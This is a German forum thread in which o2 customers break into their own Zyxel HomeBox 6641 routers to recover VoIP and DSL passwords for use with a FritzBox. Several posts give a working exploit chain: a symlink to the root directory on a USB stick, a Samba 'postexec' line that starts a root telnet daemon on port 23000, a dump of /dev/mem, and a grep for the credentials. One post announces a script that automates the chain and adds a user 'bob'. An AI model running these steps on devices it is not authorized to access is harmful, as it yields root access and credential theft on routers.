Die Passworte haben aber *gar nix* mit der Rufnummer, oder MD5 oder oder zu tun... Scheinen reine Zufallswerte zu sein.
Ich seh mal zu, dass ich nen regex für grep finde, auf der Box selbst ist das aber alles schwierig. Insofern Empfehlung für Nachahmer:
Code:
cat </dev/mem >/var/usbMnt/Drive1_1/memorydump.bin
und dann auf dem lokalen System mit Hexeditor, $editor, grep.... rangehen.

Ich habe strings/less verwendet, Ausgabe erfolgt dann Zeilenweise und sieht in etwa so aus:
Code:
SUBSCRIBE/NOTIFY        --> Ausgangspunkt: Kontaktaufnahme?
REINVITE                     --> vermutlich egal bzw. je nach Zeitpunkt verschieden
Zinactive                     --> vermutlich egal bzw. je nach Zeitpunkt verschieden
*41#                          --> vermutlich egal bzw. je nach Zeitpunkt verschieden
#41#                          --> vermutlich egal bzw. je nach Zeitpunkt verschieden
none                           --> vermutlich egal bzw. je nach Zeitpunkt verschieden
(null)                          --> vermutlich egal bzw. je nach Zeitpunkt verschieden
4912345678912             --> Fixpunkt: 49+Ortsvorwahl_ohne_0+Rufnummer als Username
4912345678912             --> Fixpunkt: 49+Ortsvorwahl_ohne_0+Rufnummer als Username
AbC12fHgIjKlMnOp         --> Passwort. 16 Zeichen alphanumerisch
sip.alice-voip.de            --> Fixpunkt: SIP-Domain oder Registrar
sip.alice-voip.de            --> Fixpunkt: SIP-Domain oder Registrar

Die --> sind natürlich von mir, nach den mit "Fixpunkt" markierten sollte man in der Kombination ausschau halten.
Die einzelnen Bestandteile sind von diversen 0x0 eingeschlossen, insbesondere die letzten 5 Zeilen. Insofern kann man also vermutlich danach suchen, wenn man den passenden Ausdruck findet.


Das ist alles Methode quick/dirty/megahäßlich, aber sollte erstmal reichen. Ich geh momentan auch noch davon aus, dass wer in so einer frühen Phase seine Box hacken will um an Zugangsdaten zu kommen auch in der Lage sein sollte, mit der Linux Befehlszeile umzugehen.

Ich hab das jetzt erstmal nur kurz getestet und "grünes Licht" an der Fritte bekommen, wirkliche Funktionstests mach ich später.
Witziger Weise sogar, während die o2 Box noch dran hing - die Fritte war dahinter.
 
Hallo Lky,

wieso denn Router-Zwang. Bei O2 war doch die Fritzbox nur mal kurz aus. Schau mal auf o2online.de in den DSL Bereich. Die bieten seit gestern wieder welche an. Da kannst Du bestimmt mal anrufen und Dir eine günstig in ner VVL mitnehmen.
Denn ganz ehrlich... 1&1 ist nun wirklich keine Lösung. Zumindest nicht mehr für mich. Hab die schon durch und die können ja gar nix.

Mal ganz abgesehen was man damit fördert in unserem Land. Discountlöhne usw. Ich bin kein Freund dieser Discount-Mentalität.
Ausserdem bekäme ich dort nie 10€ Rabatt auf GG durch meinen Mobilfunkvertrag, keine Multi-SIM´s. Haben die überhaupt LTE und so was?

Nee bin bei O2 hängengeblieben, denn es gab nix, aber auch nix was sich bisher nicht klären lies.
..nicht immer nur meckern ;-)
 
Nur ein kurzes Update / Bestätigung:
Die von mir heute morgen extrahierten Zugangsdaten funktionieren.
Kein VLAN, keine 2.PVC, nix notwendig.

Ich werd mal sehen, ob ich das ein wenig hübscher gestalten/automatisieren kann. Da die zugangsdaten für [email protected] Teilnehmer aber wirklich nicht aus der Pin zu errechnen gehen, sondern via tr069 auf die Box geladen werden wird es definitiv immer eine funktionierende, aktivierte Box als Voraussetzung geben.

Mein aktueller Gedanke ist einfach alle meine Schritte in ein Shellscript zu packen, mal sehen. Das könnte man dann idealer Weise von $livecd der Wahl laufen lassen.
 
Hallo zusammen,

als ebenfalls O2-Geschädigter habe ich das ganze gestern mal ausprobiert. Bin aber letztlich gescheitert am TELNETd.
Schon bis dahin gab es einige Hürden, muss aber auch dazu sagen, dass ich eher Grundlagen-Wissen habe.

1.) Mit share verbinden:
Code:
sudo mount -t cifs -o rw,nounix //o2.box/drive1_1 /mnt/backup
2.) Share-Config editieren
Code:
echo "postexec = /usr/sbin/telnetd -p 23000" >> /mnt/backup/0root/var/etc/samba/smb-shares.conf
3.) 2. Verbindung zu share aufmachen, wieder trennen
4.)
Code:
telnet o2.box 23000

zu 1.)
Ich kann so nicht mounten. Dmesg sagt, dass ein username fehlt. Also hab ich mir nen User für den USB-Stick angelegt und so gemountet:
Code:
sudo mount -t cifs -o user=username,passwd=Passwort,rw,nounix //o2.box/drive1_1 /mnt/backup
Das klappt dann.

zu 2.)
Bei mir sieht der Pfad anders aus. Nämlich so:
Code:
echo "postexec = /usr/sbin/telnetd -p 23000" >> /mnt/backup/rootdir/var/etc/smb/smb-shares.conf
Also smb statt samba. Samba heißt bei mir der entsprechende schreibgeschütze Ordner unter /etc.

und dann verließen sie mich. Was ich auch probiert habe, der telnetd war nicht erreichbar.
Kannst Du das noch einmal etwas ausführlicher erklären?

Ich habe die erste Verbindung gelassen und dann folgendes versucht:
Code:
sudo mount -t cifs -o user=username-2,passwd=Passwort-2,rw,nounix //o2.box/drive1_1 /mnt/backup-2
umount /mnt/backup-2
telnet o2.box 23000
 
Hoi,
zu 2.)
Bei mir sieht der Pfad anders aus. Nämlich so:
Code:
echo "postexec = /usr/sbin/telnetd -p 23000" >> /mnt/backup/rootdir/var/etc/smb/smb-shares.conf
Also smb statt samba. Samba heißt bei mir der entsprechende schreibgeschütze Ordner unter /etc.

und dann verließen sie mich. Was ich auch probiert habe, der telnetd war nicht erreichbar.
Kannst Du das noch einmal etwas ausführlicher erklären?

Ich habe die erste Verbindung gelassen und dann folgendes versucht:
Code:
sudo mount -t cifs -o user=username-2,passwd=Passwort-2,rw,nounix //o2.box/drive1_1 /mnt/backup-2
umount /mnt/backup-2
telnet o2.box 23000
das mit dem Usernamen beim mount muss irgendwie an deiner Distribution bzw. shell liegen. Bei mir versucht er es automatisch mit "root", oder wer auch immer den Befehl ausführt. AFAIK ist das auch Standard. Passwort und Benutzername sind aber ohnehin egal - wenn man auf der Box keine angelegt hat, nimmt die alles an.

Bei 2.) - der Ordner auf der *box* heißt var/etc/smb/, das stimmt schon so. Voraussetzung dafür das das funktioniert ist ein Symlink auf einem ext3-formatierten Stick in der Box, der auf "/" zeigt. In o.g. Beispiel nennt sich der link "rootdir", und der vorherige Mountbefehlt hängt die Freigabe der Box (=den Stick) unter /mnt/backup ein.
Der Ordner /mnt/backup ist auf meinem System vorhanden, muss bei dir nicht so sein - wichtig ist nur, dass das mount erfolgt und du die folgenden befehle dann entsprechend anpasst.

Das letzte (2. mount machen) funktioniert bei mir, wenn der postexec-krempel geklappt hat. Daran scheitert es bei dir vermutlich - das solltest du prüfen.
Wenn der symlink auf dem Stick stimmt, und der mount wie bei 1.) mit "-o nounix" erfolgt ist, kannst du über den symlink quasi jede Datei der Box erreichen.
Wenn das nicht klappt, ist alles andere zum scheitern verurteilt.

Ich hab schon angefangen, das alles in ein script zu packen - das dauert aber noch ne Weile, wenn ich es überhaupt je fertig bekomme.
 
Script zum Auslesen der VoIP-Passworte.

Hoi,

siehe Anhänge. Meine ersten Prototypen eines Shellskriptes, welches den im Thread geschilderten Exploit automatisiert.
Es läuft bei mir, wenn es eure Box schrottet, Ihr plötzlich Haarausfall bekommt oder euer Dackel stirbt soll das nicht meine Schuld sein - ohne jede Gewähr!!!!

Zu erwartendes Ergebnis:

  • Ausgabe gefundener Passworte je Rufnummer
  • mit Glück auch Ausgabe des PPP-Logins für DSL


Alles weitere was das Script ausgibt, d.h. Registrar, Benutzername etc. sind auf Grundlager allgemeiner Zugangsdaten geraten. Bitte also die entsprechenden o2-Threads durchforsten, falls Ihr abweichende Daten haben solltet....
Die Masse des Wissens ist in diesem Thread gesammelt, insbesondere in den 92 Posts, die vor diesem hier kamen.
Gültige PPP / DSL-Zugangsdaten bekommt man auch bei der Hotline - man kommt also auf Umwegen immer ins Netz :wink:

Das Script benötigt:
  • /bin/sh mit verbesserter Stringverarbeitung (ash, dash, bash) -> sollte Standard sein
  • root oder sudo
  • mount.cifs
  • nc (netcat), tr, sed, ... (Standard-Linux-Tools)

Es müssen die Telefonnummern eingegeben werden, das ist auch schon alles. Falls Ihr nicht sicher seit, welches Format Ihr angeben müsst: Einfach beides angeben - einmal mit 49 und einmal mit 0, das Script sucht dann alle, gibt aber nur die gefundenen aus.
Optional kann man noch einen alternativen Hostnamen/IP-Adresse für die Box und einen abweichenden Registrar definieren, die Standardwerte sollten allerdings reichen, wenn die Netzwerkverbindung via DHCP konfiguriert wurde.
Man kann den Hostnamen/die IP auch einfach als ersten Befehlsparameter mitgeben.

Das ist alles noch furchtbar hässlich, keine richtige Eingabeprüfung, keine Fehlerbehandlung, sollte aber reichen damit die ersten Wagemutigen mittels einer Linux-Live-CD zu Werke gehen können. Ich hab das auch nur mit sudo getestet, es funktioniert aber auch als root (SystemRescueCD).

<HowTo>

Voraussetzungen:

  • Der Wunsch, einen eigenen, nicht automatisch konfigurierbaren Router mit VoIP bei o2 zu betreiben. Soweit derzeit bekannt, kann die Fritz!Box 7490 und die 7390 an VDSL-Anschlüssel via tr069 automatisch konfiguriert werden (1, 2, 3), wenn man "o2 DSL" als Provider wählt - die Anleitung/das Script ist dann nicht notwendig!
  • HomeBox 6641
    • idealer Weise im Urzustand (Werkseinstellungen + Aktivierung via PIN)
    • die Box muss angeschaltet sein ;)
    • Internet und Telefonie muss funktionieren
  • USB-Stick
    • formatiert unter Linux, Dateisystem "ext3"
      • kann man z.B. mit einer Live-CD wie "System Rescue CD" machen
      • Partitionieren und formatieren geht am einfachsten mit dem graphischen Tool "gparted"
    • in USB-Port der Box gesteckt und von der Box erkannt (Webseite kontrollieren!)
    • >200 MB freier Platz auf dem USB-Stick für den Speicherauszug der Box
  • der PC muss via WLAN oder LAN mit der Box verbunden sein.
    • bei Verwendung einer Linux-Live-CD würde ich eine Kabelverbindung / LAN empfehlen, da das dann meist automatisch funktioniert

Vorgehensweise:

  • Linux-System oder Live-CD starten, welches die o.g. Abhängigkeiten erfüllt
    • dürften quasi alle sein
    • getestet mit SystemrescueCD:
      • es funktioniert, aber das entpacken bzw. mounten eines USB-Sticks ist Handarbeit.
      • ich empfehle daher, eine komfortablere CD zu nutzen! (habe aber gerade keine zur Hand :p )
  • Testen, ob Ihr mit dem Browser unter Linux auf eure Box kommt, Standardmäßig über diesen Link zu erreichen.
  • Script im Anhang runterladen, ggf. ausführbar machen
    • das geht auch auf ner Live-CD, dann seit Ihr sicher das die korrekt funktioniert und Internet habt ;)
    • entpacken (Doppelklick...)
      • Konsole:
        Code:
        unzip 6641-own*.zip
    • ausführbar machen:
      • z.B. Thunar/Xfce/Xubuntu: über Kontextmenü -> Eigenschaften -> Berechtigungen -> "Datei darf als Programm gestartet werden"
      • Ansonsten Konsole in den Verzeichnis öffnen, in dem das Script liegt:
        Code:
        chmod u+x 6641-own.sh
  • Konsole öffnen, Script ausführen, Anweisungen folgen
    • in das Verzeichnis des Scriptes wechseln
    • man kann die Konsole meist auch gleich in dem Ordner des Scriptes aufmachen, i.d.R. gibt's ein Kontextmenü für sowas
    • zum Benutzer "root" wechseln, das Script braucht administrative Berechtigungen!
    • Befehl
      Code:
      ./6641-own.sh
      eingeben, ENTER
      • alternativ, wenn sudo vorhanden ist kann auch
        Code:
        sudo ./6641-own.sh
        verwendet werden
  • die Box sollte nach jedem Scriptlauf neu gestartet werden, da sie danach teilweise träge wird, DNS nicht mehr funktioniert, etc. pp. Leider habe ich keine Idee, woran das liegen könnte - ich mache nichts verwerfliches mit der Box ;)

</HowTo>

Damit nicht lange gesucht werden muss - bei der Zielgruppe des Scriptes lauten die allgemeinen Zugangsdaten:
Code:
[B]DSL-Zugangsdaten[/B] 
  Benutzername: <Seriennummer_der_Box>[email protected]
  Passwort:        Aktivierungs-PIN

Die Seriennummer steht als "Serial Number" auf der Box hinten drauf :)
[B]VoIP-Daten[/B]
  Benutzername: 49<Vorwahl_ohne_Null><Rufnummer>
  Passwort:  via Script
  Registrar:  sip.alice-voip.de
  Proxy:      sip.alice-voip.de

Mir ist durchaus klar, dass es auch @s93-er Zugangsdaten gibt und jede Menge Box-Besitzer, die noch ganz andere PPP-Benutzernamen haben, aber deren Daten kenne ich nicht, hier hilft google.
Das Script macht nix weiter, als den gesamten Speicher (128MB RAM) der Box nach einer bestimmten Kombination aus Rufnummern und Registrar zu durchsuchen. Das sollte auch für andere Registrare und auch für Rufnummern ohne o.g. Format funktionieren - das ist dann aber ein unbeabsichtigter Bonus-Effekt.

<Wichtig: Internet/PPP-Zugangsdaten>
Weil das offenbar bei den Benutzern, die hier und in den offiziellen o2-Foren nicht schon länger intensiv mitlesen für Verwirrung sorgt:

Bei allen mir bekannten 6641-Benutzern wurde von 2-Sessions/ 2. PVC / 2. PPP-Verbindung auf 1-Session umgestellt, offenbar ist das einer der Gründe für die Umstellung.

Das bedeutet im Klartext, dass Ihr nur noch ein Login für Internet habt.

Das Login kann das durch das Script extrahierte sein, alternativ kann man auch das in den Schreiben von o2 enthaltene Rufnummer@s9..... verwenden. Man bekommt es auch nach wie vor von der o2-Hotline genannt. Die Homebox2 verwendet nur das Login, welches das Script liefert.

Die 2. Verbindung war bisher einfach dazu da, in ein internes o2-Netz vorzudringen, in dem die SIP-Server standen. Konnte man auch schön daran sehen, dass man für diese Verbindung 10.*.*.* IP-Adressen bekommen hat, die sind wie 192.168.*.* nur zur internen Verwendung im LAN und im Internet nicht gültig (private IP).
Die "neuen" o2-Server haben echte IP-Adresen und sind auch via Internet zu erreichen. Allerdings klappt die Namensauflösung nicht immer, da gibt es dann DNS-Fehler im Ereignislog der Fritz!Box. In dem Fall hilft es, entweder die o2-DNS-Server zu benutzen oder eine der IP-Adressen von sip.alice-voip.de als "proxy-Server" einzutragen:
  • 62.52.148.54
  • 62.52.148.38
  • 62.52.148.70
  • ...

Proxyserver/IP-Adressen kann man mittels einem der Befehle:
Code:
nslookup sip.alice-voip.de 62.109.121.1

dig  @62.109.121.1 sip.alice-voip.de
Wobei der erste Befehl vermutlich auch unter Windows funktioniert.
</Wichtig>



Fehlerberichte:
  • nur öffentlich, keine PN!
  • Immer angeben: Box-Firmware-Version, exakte Fehlermeldung des Scripts
    • copy & paste nutzen!
  • Bitte auch den Stick, der an der Box hing auslesen: Welche Dateien sind da drauf
    • Verzeichnislisting
      Code:
      ls -l
      posten!

Von Nutzern getestete Live-CDs:

  • Live CD Knoppix 7.2 auf USB, CD-Version -> kein Erfolg, Probleme beim Mounten
  • Live CD Ubuntu 14.04.1 auf USB, CD Version -> Erfolg, wenn Script als Root ausgeführt wird
  • Live CD Xubuntu -> kein Erfolg, da keine /bin/bash vorhanden
  • SystemRescueCD: Klappt mit /bin/bash als Shell

Durch die Überarbeitungen vom 2014-12-06 sollte die Kompatibilität mittlerweile deutlich besser sein, d.h. vermutlich geht auch Xubuntu und jede weitere CD, die eine etwas bessere /bin/sh hat.

ToDo:

  • Parameter per Kommandozeile direkt übergeben
  • Sämtliche Fritz-Einstellungen hübsch formatiert ausgeben, nicht nur das Passwort

Ablauf des Skriptes / Ein- und Ausgaben zur Referenz:
Code:
$ sudo ./6641-own-20150105-1.sh 

Please enter the IP address or hostname of your HomeBox 2 (Zyxel 6641)
or just press enter to use the default value
Host [o2.box]: 

Please enter the registrar of your VoIP connection
or just press enter to use the default value
Registrar [sip.alice-voip.de]: 

Please enter the sip-proxy of your VoIP connection
or just press enter to use the default value
SIP-proxy [sip.alice-voip.de]: sip.alice.voip.de

Please enter the phone numbers to search for.
Seperate numbers with space and use the format
     CCPPPPPPPNNNN
or
     0PPPPPPPNNNN
(CC=Country-Code, PPPPP=Prefix, NNNN=Number)
For example: 498005900050 498005251378 08005900050 08005251378
If you are not sure which format is correct for your account,
simply specify both formats for your phone numbers!
Phone numbers: 49123456789 0123456789 4999988877766 4955554444333
- trying to ping the box (o2.box)... SUCCESS
- trying to mount the box: //o2.box/DRIVE1_1... SUCCESS
- trying to create symlink (0_link_to_r00t_31474) to root directory... SUCCESS
- trying to unmount /tmp/tmp.gz79qPgkiv... SUCCESS
- trying to mount the box a second time for exploit preparation... SUCCESS
- trying to append "postexec" code... SUCCESS
- trying to create a user called "bob" with password "alice" SUCCESS
- trying to unmount /tmp/tmp.gz79qPgkiv... SUCCESS
- trying to mount the box a third time for exploit execution... SUCCESS
- trying to unmount /tmp/tmp.gz79qPgkiv... SUCCESS
- checking for open port on o2.box:23000... SUCCESS
- dumping memory from box to usb drive
  please be patient: this takes at least 62 seconds...
- trying to mount the box a fourth time to download the memory dump... SUCCESS
- trying to copy PPP username (<BOX-SERIAL>-CC5D4E@.*\.de), a failure here is OK... FAILURE
- trying to copy PPP password (your PIN)...
  If this fails, extraction of PPP data will fail! SUCCESS
- downloading the memory dump to /tmp/tmp.4w23OaGCmn... SUCCESS
- trying to unmount /tmp/tmp.gz79qPgkiv... SUCCESS
- looking for PPP username in memory dump, since I dind't get it from the box
  This may fail in a lot of cases - you may have to get the data from 
  o2's hotline instead!
- looking for phone number + proxy name in memory dump...
   - No password for 0123456789 found, retrying with sip proxy registrar..\.alice-voip\.de
   - No password for 0123456789 found

~~~~~~~~~~~~~~~~ FINISHED, RESULTS FOLLOW ~~~~~~~~~~~~~~~~

Your PPP (internet) login data is:
     Username:    [email protected]
     Password:    NEVER
For phone number 49123456789, please use the following 
data to configure your router:

     Phone number:    your telephone number without prefixes
     Username:    49123456789
     Password:    GONNA
     Registrar:    sip.alice-voip.de
     SIP-proxy:    sip.alice-voip.de

For phone number 4999988877766, please use the following 
data to configure your router:

     Phone number:    your telephone number without prefixes
     Username:    4999988877766
     Password:    GIVE
     Registrar:    sip.alice-voip.de
     SIP-proxy:    sip.alice-voip.de

For phone number 4955554444333, please use the following 
data to configure your router:

     Phone number:    your telephone number without prefixes
     Username:    4955554444333
     Password:    YOU UP!
     Registrar:    sip.alice-voip.de
     SIP-proxy:    sip.alice-voip.de

Please note:
     You may have to reconfigure you FritzBox slightly.
     o2 uses rtp_priority = 26 and rtp_port >51000
     in their box.
     In case of problems with voice quality, try to edit
         /var/flash/voip.cfg
     on your FritzBox accordingly.

- cleaning up...

Please note: Files on the USB-Stick of the Box are left intact!
You may use them to further debug your results.'

Bye!
Technische Details:

  • Die mounts mache ich nicht parallel, weil das nicht funktioniert hat - wenn ich den symlink erstelle, fliegt der andere Mount über den Jordan.
  • Die Symlinks werden selbst erstellt (CIFS Unix Extensions)
  • Die Mountpunkte und Dateinamen sind alle mit Zufallszahlen versehen.
    • Konsequenz: Jeder Skriptlauf bringt euch einen neuen Symlink auf den Stick und ggf. auch neue Memdumps.
    • Das habe ich versucht in der ungetesteten Folgeversion besser zu machen und wenigstens teilweise aufzuräumen
  • Nach einem erfolgreichen Lauf ist telnet auf port 23000 bis zum Neustart der Box erreichbar.
    • Das Skript legt einen Benutzer "bob" mit Passwort "alice" an, auch der ist nach einem Neustart weg
    • "reboot" funktioniert im telnet übrigens nur mit -f, die Box macht sonst keinen kompletten Neustart.


Historie:

Edit 2015-01-05 #3: Neue Scriptversion: Fallback-Wert für SIP-proxy ist jetzt registrar..\.sip\.... (mit .sip)
Edit 2015-01-05 #2: Neue Scriptversion: Idiotischer Typo
Edit 2015-01-05 #1: Neue Scriptversion:

  • Fragt nun Registrar und SIP-Proxy getrennt ab, gibt echten gefundenen SIP-Proxy im Ergebnis aus
  • Fallback-Proxy "registrar..\.alice-voip\.de" eingebaut
  • kleinere Fixes, Hinweis auf die verbleibenden Dateien auf dem USB-Stick

Edit 2014-12-20 #1:
  • Hinweis auf die auto-Konfiguration der Fritz!Box 7490 - das Script ist hier nicht notwendig

Edit 2014-12-07 #2: Neue Scriptversion
  • Fehlende PIN-Datei ist kein kritischer Fehler mehr
  • Listing und Inhalt der Dateien aus box:/var/ppp wird auf dem Stick gespeichert

Edit 2014-12-07: Neue Scriptversion
  • PPP-Benutzername wird jetzt auch aus dem Speicherauszug extrahiert
    • dadurch sollte jetzt bei der Masse der Benutzer auch die Extraktion der PPP-Zugangsdaten funktionieren
  • Meldungen überarbeitet, kleinere fixes

Edit 2014-12-06 #2: Neue Scriptversion
  • ein paar Tippfehler korrigiert

Edit 2014-12-06:
Neue Scriptversion:

  • akzeptiert jetzt auch das "normale" Rufnummernformat
  • sollte jetzt auch /bin/sh kompatib(ler) sein -> bash ist nicht mehr notwendig, vermutlich muss es aber wenigstens ne "/bin/ash" oder "/bin/dash" sein. Ich werd versuchen, das noch auf ne busybox ash runterzudampfen, mal sehen.
  • sudo ist raus -> script muss als root laufen, also mit sudo ./6641-own.sh starten!
  • registrar, box-ip etc. frei wählbar (werden derzeit abgefragt, parameter fehlen noch)
  • Tippfehler beim Standard-Registrar ist raus
  • es wird auf bestehende mounts geprüft und ggf. abgebrochen
  • beim Abbruch werden bestehende mounts gemeldet

Ist nur grob getestet, mal sehen ;)

Edit 2014-11-29:
Neue Skriptversion, getestet von SystemRescueCD. Ich empfehle aber ne komfortablere LiveCD, wenn jemand keine Ahnung von Linux hat - bei SystemRescueCD ist selbst das Mounten komplex.

Edith: Ich hab mal die aktuelle, getestete Version angehängt.
Funktionell ist nicht wirklich was neu, die räumt nur nachher besser auf und hat die später vorgesehenen Parameter in Variablen.
 

Anhänge

  • 6641-own-20150105-3.sh.zip
    5.4 KB · Aufrufe: 1,920
Zuletzt bearbeitet:
:D

good job qwertz.

Leider kann ich Dein script nicht mehr testen, denn ich habe die Box inzwischen zurück geschickt und meine FritzBox wieder dran gehängt.

Zum Thema USB-Stick fat/ext hab ich aber noch ne Idee.

Versucht doch mal bitte jemand auf einem Stick mit Fat-Format folgendes :

Laufwerk mounten

dann mit
>dd of=fsimage if=/dev/zero count=5000 bs=2048
ein File erstellen ( 10MB sollten genügen ), mit
>mkfs fsimage
dieses ext 2 formatieren, mit
>chmod 777 fsimage
beschreibbar machen... mounten
>mount fsimage /mnt/tmp
>cd /mnt/tmp
>ln -s /rootdir
...schlussendlich den Symlink erstellen. Das könnte vielleicht auch auf Fat funktionieren.

Bei mir wird dieser Symlink zwar als broken angezeigt ( Diese Verknüpfung kann nicht verwendet werden, da ihr Ziel »/rootdir« nicht existiert. ), aber sicher deshalb weil die FritzBox keine Symlink-Vuln aufweist.
Wenn mir das noch jemand bestätigen könnte ob es funzt, würde mich sehr freuen.

Freundliche Grüsse
:ziggi:
 
Hallo Snaubsch,

ich seh nicht so genau durch, was deine o.g. Befehle bewirken sollen? Wenn ich dich recht verstehe, erzeugst du eine Datei auf dem FAT-Stick, die du ext2 formatierst und in die du den symlink /rootdir stellst.
Soweit, so gut, aber wie willst du die Box überreden den Kram zu mounten? Dort läuft ein USB-gesteuertes Hotplug, da kann man froh sein wenn die Kiste Sticks und Drucker erkennt ;)
Und was ist /rootdir?

Ist das irgend eine spezielle Schwachstelle oder sowas vom Bootloader oder initsystem, die da ausgenutzt werden kann?
 
Ist das irgend eine spezielle Schwachstelle oder sowas vom Bootloader oder initsystem, die da ausgenutzt werden kann?

Nein, natürlich nicht. Ok... offensichtlich ist die Syntax nicht ganz richtig, vermutlich auch nicht ganz vollständig.
Hit me :blonk:

Es geht um folgendes:

Wie wir schon festgestellt haben läuft dies alles von den ext-Dateisystemen alles super, denn ext-Filesysteme können Symlinks. Fat-Dateisysteme können das nicht.
Und eben da habe ich wieder einen Artikel im Gedächtnis ( warum find ich das Zeugs bloss nie wieder wenn ich es brauche ), in dem es genau darum ging Symlinks auch auf Fat zu erzwingen/ "Fat auszutricksen".
Also in Fat ne Datei zu erzeugen, diese ext zu formatieren und von diesem Ausgangspunkt dann irgendwie weiter ... und wenn ich mich richtig erinnere war das auch gar nicht so komliziert, sondern so ähnlich wie oben eben schon beschrieben.
Leider kann ich es eben selbst an der O2 Box nicht mehr selbst testen. Wenn ich mal wieder Zeit habe kann ich mir ja mal nen Symlink-vulnerablen Samba aufsetzen und noch bissl experimentieren.

Nicht dass das jetzt unbedingt zwingend wichtig wäre, aber sehr interessant wäre das schon. Vielleicht weiss ja irgend jemand was ich meine oder wie es genau funzt. :gruebel:
 
Also ich wüsste nicht, wie das funktionieren sollte.
Fat hat kein Konzept von Links, weder Hard- noch Soft. Hardlinks sind möglich (weil die nix weiter sind als ein Indexeintrag, der auf die selben Blöcke wie ein anderer zeigt) - werden aber von jedem FAT-reparatur/prüfprogramm als Fehler erkannt (kreuzverbundene Dateien) und gelöscht.
Softlinks / Symlinks sind im prinzip spezielle Dateien bzw. Dateisystemeinträge, die auf einen anderen Pfad zeigen. Dafür braucht's entweder extra Dateien (Windows, *.lnk) oder Dateisystem-Unterstützung - beides kombiniert mit Betriebssystem-Unterstützung, damit es transparent gehandhabt werden kann. Letzteres ist offensichtlich kein Problem, ersteres schon.

Wenn du mir nen konkreteren Plan bzw. nen Verweis auf den erwähnten Artikel schicken kannst probier ich gern noch mal rum, aber aktuell hab ich keinen Plan was ich überhaupt machen sollte.
 
Danke der Nachfrage,

aber ich glaube nicht dass das nun unbedingt notwendig ist, da noch nen Haufen Zeit rein zu investieren. Ich habe auch schon den halben Abend danach gesucht und ich glaube das reicht jetzt auch. Hab den Artikel leider nicht wiedergefunden und darüber hinaus ist auch nur das zu finden, was Du oben schon festgestellt hast. Vllt werde ich auch schon langsam senil.


Funzt ja mit ext wunderbar und jeder der an seiner Box herumwerkeln will, sollte sich auch ´nen Stick entsprechend formatieren können.
Hatte das nur irgendwie im Hinterkopf... nix für ungut.
Wenn jemand zufällig noch ne Idee hat dann gerne... aber sonst... mach Dir keine unnötige Arbeit damit.

Edit : Auch wenn ich die Box nicht mehr da hab. Dein Script hab mir schon mal gesichert. Man kann ja nie wissen. Hätte ich übrigens nicht so gut hingekriegt.
Hut ab! ;)
 
Zuletzt bearbeitet:
Guten Morgen Leute,

danke dass ihr euch die Mühe macht mit der Box, vor allem an quertz12.
Ich wollte nur mal nachfragen, ob man denn nun schon so weit ist die Box gegen eine Fritzi auszutauschen?
Wenn ja könnte jemand ein HOW-TO erstellen? Ich will nur ungern alle 100 Posts durchlesen :).
Ich habe als ehemaliger Alice Kunde leider auch die neue Box zugeschickt bekommen.
Mit der alten (Alice IAD 3221 oder wie sie auch hieß) konnte ich dank diesem Forum die Daten auslesen und auf eine FritzBox 7170
übertragen.

Ich würde mich über eine Aufklärung sehr freuen. Danke.
 
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.